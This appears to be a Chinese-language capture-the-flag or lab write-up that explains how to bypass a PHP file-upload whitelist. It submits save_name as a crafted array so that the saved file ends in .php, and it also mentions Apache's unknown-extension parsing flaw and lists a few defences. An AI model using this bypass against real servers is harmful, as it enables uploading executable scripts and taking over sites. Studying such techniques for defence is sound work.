-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组例如我上传upload.php.jpg
就会返回数组
array(3){
[0]=>upload,
[1]=>php,
[2]=>jpg
}
--> 判断数组最后一个元素是否在白名单中 由于是白名单校验 所以不能利用 $_FILES['upload_file']['name']--> 数组第一位和$file[count($file) - 1]进行拼接,减1是因为数组下标默认从0开始 最后保存文件名file_name
--> 上传文件
想要绕过白名单上传,很明显需要使end($file)和$file[count($file)-1]指向不同的内容,
end($file)是合法的后缀用于骗过白名单,而$file[count($file)-1]是实际上传的后缀
那怎样才能让数组最后一个元素和$file[count($file)-1]不一样呢?
由于explode函数只能分割字符串 那么用$_POST['save_name']上传一个数组就绕过了这段代码
$file = empty($_POST['save_name'])?$_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); }
却成为了$file数组
那么让数组最后一个元素为合法后缀
array(3){
['save_name'][0]=>upload.php
['save_name'][2]=>jpg
}正常来说 end($file)=$file[count($file) - 1]
但我没有上传下标为['save_name'][1]=>xxx的数组元素 所以2-1=1 数组元素为空
那么$file_name = reset($file) . '.' . $file[count($file) - 1]; 保存成了upload.php空字符 也就是upload.php
从而实现了绕过白名单
当然你也可以使用apache未知后缀名的解析漏洞 记得设置 phpts版本 中间件 设置Apache以moudel方式连接
防御手段
白名单+二次渲染+随机文件夹+随机文件名+变态WAF+无敌杀毒软件